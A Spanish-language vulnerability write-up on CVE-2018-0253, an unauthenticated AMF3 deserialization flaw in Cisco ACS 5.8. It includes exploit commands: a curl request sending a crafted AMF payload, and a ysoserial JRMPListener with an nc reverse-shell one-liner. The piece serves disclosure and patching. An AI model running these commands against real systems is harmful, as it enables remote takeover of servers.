Protocolo peligroso AMF3

Markus Wulftange de Code White recientemente compartió un interesante estudio sobre cómo atacar una aplicación web si está escrita en Java y utiliza el protocolo AMF3. Este protocolo se puede encontrar donde se usa Flash y se requiere el intercambio de datos entre el objeto SWF y la parte del servidor de la aplicación. El protocolo le permite transferir objetos serializados del tipo flash.utils.IExternalizable al servidor. Estos objetos del lado del servidor se deserializan, se produce la conversión de tipos y flash.utils.IExternalizable se convierte en java.io.Externalizable. Vale la pena señalar que las clases que implementan esta interfaz controlan completamente los procesos de su propia serialización y deserialización. Esto significa que puede intentar encontrar una clase que, cuando esté deserializada, ejecute código arbitrario.

Marcus examinó todas las clases de OpenJDK 8u121 que implementan la interfaz java.io.Externalizable y descubrió que incluyen las clases sun.rmi.server.UnicastRef y sun.rmi.server.UnicastRef2 relacionadas con el mecanismo RMI. Si prepara correctamente el objeto de una de estas clases (inicialícelo con un enlace al host del atacante) y luego transfiéralo al servidor vulnerable, el servidor JVM registrará el enlace LiveRef en el "objeto remoto". Después de eso, el mecanismo de recolección de basura intentará establecer una conexión JRMP con el host especificado. Y como saben, el protocolo JRMP implica el intercambio de objetos Java serializados. Esto se puede utilizar para llevar a cabo ataques relacionados con la deserialización.



CVE-2018-0253 o cómo pirateamos Cisco ACS


Una vez, durante una de nuestras pruebas, obtuvimos acceso al servidor Cisco ACS 5.8. Al mismo tiempo, tuvimos la oportunidad de conectarnos a un servidor en funcionamiento a través de una interfaz web. Durante el análisis de la interfaz web, encontramos que las solicitudes POST que contienen objetos AMF3 se envían desde el cliente al servidor.



Más tarde se notó que el servidor acepta tales solicitudes POST sin autorización

Los encabezados de respuesta HTTP indicaron que la interfaz web se implementó en Java. Entonces, puedes intentar llevar a cabo un ataque.

Descargue el exploit original y cambie las variables de host y puerto. Al compilar, debe asegurarse de que CLASSPATH contenga la ruta a la biblioteca Apache BlazeDS. La ejecución del código compilado generará un paquete AMF: un objeto serializado de la clase UnicastRef, que se inicializa mediante un enlace LiveRef a nuestro servidor.

javac Amf3ExternalizableUnicastRef.java && java Amf3ExternalizableUnicastRef > payload 

Enviamos una solicitud HTTP que contiene el paquete AMF generado a Cisco ACS y vemos un intento de conexión.

 curl -X POST -H "Content-type: application/x-amf" --data-binary @payload -k \ https://[IP  Cisco ACS]/acsview/messagebroker/amfsecure 



Esto sucedió porque se instaló una versión vulnerable de la biblioteca Apache BlazeDS en el servidor. Cisco ACS desempaquetó el paquete AMF, deserializó el objeto que pasamos y ahora el recolector de basura está tratando de establecer una conexión JRMP a nuestro servidor. Si responde a esta solicitud con un objeto RMI, Cisco ACS deserializa los datos recibidos y ejecuta nuestro código.

Usamos la utilidad ysoserial. Actuará como un servidor JRMP: al conectarse, el cliente recibirá un objeto de la biblioteca CommonsCollection1, dentro del cual hay un código para realizar un shell inverso.

 java -cp ysoserial.jar ysoserial.exploit.JRMPListener 443 CommonsCollections1 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [IP   ] 80 >/tmp/f' 

Ahora repetimos el envío del paquete AMF y obtenemos el shell inverso:



En lugar de una conclusión


La vulnerabilidad encontrada permite que un atacante no autorizado ejecute comandos arbitrarios de un usuario privilegiado. El fabricante lo calificó con 9.8 en la escala CVSS . Aconsejamos a todos los que usan este software que instalen el último parche.

Software vulnerable:

  • Cisco ACS <5.8.0.32.7 - vulnerable, no se requiere autorización;
  • Cisco ACS 5.8.0.32.7, 5.8.0.32.8 - vulnerable, se requiere autorización;
  • A partir de Cisco ACS 5.8.0.32.9: la vulnerabilidad está cerrada.

Autores : Mikhail Klyuchnikov y Yuri Aleinov, Tecnologías positivas

Source: https://habr.com/ru/post/es414657/


All Articles